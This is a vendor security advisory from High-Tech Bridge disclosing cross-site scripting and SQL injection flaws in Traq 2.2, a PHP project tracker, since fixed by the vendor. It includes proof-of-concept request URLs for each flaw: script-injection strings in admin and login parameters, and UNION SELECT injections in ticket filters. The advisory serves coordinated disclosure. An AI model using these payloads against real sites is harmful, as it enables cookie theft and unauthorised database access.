Vendor Statistics
High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters

Patch Available Upon Disclosure

2014 Q1 87%2013 Q2 92%
2013 Q4 67%2013 Q1 100%
2013 Q3 77%2012 Q4 68%

Vendor Average Time to Patch

2014 Q1 5 days 2013 Q2 30 days
2013 Q4 8 days 2013 Q1 13 days
2013 Q3 13 days 2012 Q4 26 days

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in Traq

Advisory ID:HTB23046
Product:Traq
Vendor:Jack Polgar
Vulnerable Versions:2.2 and probably prior
Tested Version:2.2
Advisory Publication:September 7, 2011 [without technical details]
Vendor Notification:September 7, 2011
Public Disclosure:September 28, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Traq which could be exploited to perform cross-site scripting and SQL injection attacks.


1) Cross-site scripting (XSS) vulnerabilities in Traq

1.1 The vulnerability exists due to input sanitation error in the "edit" parameter in admincp/components.php, admincp/ticket_templates.php, admincp/custom_fields.php and admincp/groups.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation examples:
http://[host]/admincp/components.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admincp/ticket_templates.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cr ipt%3E
http://[host]/admincp/custom_fields.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3 C/script %3E
http://[host]/admincp/groups.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3 E

1.2 The vulnerability exists due to input sanitation error in the "errors" parameter in admincp/components.php, admincp/groups.php, admincp/milestones.php, admincp/plugins.php, admincp/projects.php, admincp/repositories.php and admincp/users.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.

Exploitation examples:
http://[host]/admincp/components.php?edit&error&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://[host]/admincp/groups.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E
http://[host]/admincp/milestones.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%2 9;%3C/script %3E
http://[host]/admincp/plugins.php?create&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/sc ript% 3E
http://[host]/admincp/projects.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/scri pt%3 E
http://[host]/admincp/repositories.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/s cri pt%3E
http://[host]/admincp/users.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/scri pt%3E

1.3 The vulnerability exists due to input sanitation error in the "goto" parameter in user/login. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:
http://[host]/user/login?goto=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


2) SQL injection vulnerabilities in Traq

The vulnerability exists due to input sanitation errors in the "sort","order","component","milestone","priority","severity","status","type" and "version" parameters. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation examples:
http://[host]/[PROJECT_ID]/tickets?sort=SQL_CODE_HERE
http://[host]/[PROJECT_ID]/tickets?order=SQL_ CODE_HERE
http://[host]/[PROJECT_ID]/tickets?columns=ticket&component=1%29/**/union/**/select/**/1, version%28% 29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%28 1
http://[host]/[PROJECT_ID]/tickets?columns=ticket&milestone=1%29/**/union/**/select/**/1,version% 28% 29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%28 1
http://[host]/[PROJECT_ID]/tickets?columns=ticket&priority=1%29/**/union/**/select/**/1,version%2 8%2 9,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket&severity=1%29/**/union/**/select/**/1,version%28 %2 9,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket&status=1%29/**/union/**/select/**/1,version%28%2 9, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket&type=1%29/**/union/**/select/**/1,version%28%29,3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
ht tp://[host]/[PROJECT_ID]/tickets?columns=ticket&version=1%29/**/union/**/select/**/1,version%28%29 ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281


Solution:
Vendor marked issue as "fixed"


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23046 - https://www.htbridge.com/advisory/HTB23046 - Multiple Vulnerabilities in Traq
[2] Traq - traqproject.org - Traq is a PHP and MySQL powered Project Tracker, you can easily track Milestones, Versions, Bugs, Feature Requests and see how far your project has come.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.